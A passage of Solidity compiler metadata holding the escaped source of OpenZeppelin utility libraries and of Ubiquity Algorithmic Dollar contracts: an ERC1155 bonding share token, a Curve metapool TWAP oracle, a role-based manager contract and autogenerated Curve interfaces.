}\\n}\\n\",\"keccak256\":\"0xf930d2df426bfcfc1f7415be724f04081c96f4fb9ec8d0e3a521c07692dface0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant alphabet = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = alphabet[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n\\n}\\n\",\"keccak256\":\"0x456e9b3a2bfe189b5249857f624f4139e59331db518483b456c4e587a20552e0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/BondingShare.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"./ERC1155Ubiquity.sol\\\";\\n\\ncontract BondingShare is ERC1155Ubiquity {\\n // solhint-disable-next-line no-empty-blocks\\n constructor(address _manager) ERC1155Ubiquity(_manager, \\\"URI\\\") {}\\n}\\n\",\"keccak256\":\"0x998d4387de995eb55594994d3634975ed9961ea1ae4da1871003009444ee7d18\",\"license\":\"MIT\"},\"contracts/ERC1155Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./utils/SafeAddArray.sol\\\";\\n\\n/// @title ERC1155 Ubiquity preset\\n/// @author Ubiquity Algorithmic Dollar\\n/// @notice ERC1155 with :\\n/// - ERC1155 minter, burner and pauser\\n/// - TotatSupply per id\\n/// - Ubiquity Manager access control\\ncontract ERC1155Ubiquity is ERC1155, ERC1155Burnable, ERC1155Pausable {\\n using SafeAddArray for uint256[];\\n UbiquityAlgorithmicDollarManager public manager;\\n // Mapping from account to operator approvals\\n mapping(address => uint256[]) private _holderBalances;\\n uint256 private _totalSupply;\\n\\n // ----------- Modifiers -----------\\n modifier onlyMinter() {\\n require(\\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\\n \\\"Governance token: not minter\\\"\\n );\\n _;\\n }\\n\\n modifier onlyBurner() {\\n require(\\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\\n \\\"Governance token: not burner\\\"\\n );\\n _;\\n }\\n\\n modifier onlyPauser() {\\n require(\\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\\n \\\"Governance token: not pauser\\\"\\n );\\n _;\\n }\\n\\n /**\\n * @dev constructor\\n */\\n constructor(address _manager, string memory uri) ERC1155(uri) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n }\\n\\n // @dev Creates `amount` new tokens for `to`, of token type `id`.\\n function mint(\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) public virtual onlyMinter {\\n _mint(to, id, amount, data);\\n _totalSupply += amount;\\n _holderBalances[to].add(id);\\n }\\n\\n // @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {mint}.\\n function mintBatch(\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) public virtual onlyMinter whenNotPaused {\\n _mintBatch(to, ids, amounts, data);\\n for (uint256 i = 0; i < ids.length; ++i) {\\n _totalSupply += amounts[i];\\n }\\n _holderBalances[to].add(ids);\\n }\\n\\n /**\\n * @dev Pauses all token transfers.\\n *\\n * See {ERC1155Pausable} and {Pausable-_pause}.\\n *\\n */\\n function pause() public virtual onlyPauser {\\n _pause();\\n }\\n\\n /**\\n * @dev Unpauses all token transfers.\\n *\\n * See {ERC1155Pausable} and {Pausable-_unpause}.\\n *\\n */\\n function unpause() public virtual onlyPauser {\\n _unpause();\\n }\\n\\n /**\\n * @dev See {IERC1155-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) public override {\\n super.safeTransferFrom(from, to, id, amount, data);\\n _holderBalances[to].add(id);\\n }\\n\\n /**\\n * @dev See {IERC1155-safeBatchTransferFrom}.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) public virtual override {\\n super.safeBatchTransferFrom(from, to, ids, amounts, data);\\n _holderBalances[to].add(ids);\\n }\\n\\n /**\\n * @dev Total amount of tokens in with a given id.\\n */\\n function totalSupply() public view virtual returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev array of token Id held by the msg.sender.\\n */\\n function holderTokens(address holder)\\n public\\n view\\n returns (uint256[] memory)\\n {\\n return _holderBalances[holder];\\n }\\n\\n function _burn(\\n address account,\\n uint256 id,\\n uint256 amount\\n ) internal virtual override whenNotPaused {\\n super._burn(account, id, amount);\\n _totalSupply -= amount;\\n }\\n\\n function _burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory amounts\\n ) internal virtual override whenNotPaused {\\n super._burnBatch(account, ids, amounts);\\n for (uint256 i = 0; i < ids.length; ++i) {\\n _totalSupply -= amounts[i];\\n }\\n }\\n\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual override(ERC1155, ERC1155Pausable) {\\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n }\\n}\\n\",\"keccak256\":\"0xfddd09a876cf93b64605cfb3032705d366562dc2e0ad06af0d9b0787e8717be0\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool =\\n ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount =\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\\n uint256 uADTokenAmount =\\n IERC20(dollarTokenAddress).balanceOf(address(this));\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts =\\n [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0xc86d80999cdfecfd7228760b8f80d76a9081b40e00b978ac9ae7021a46db56d9\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns 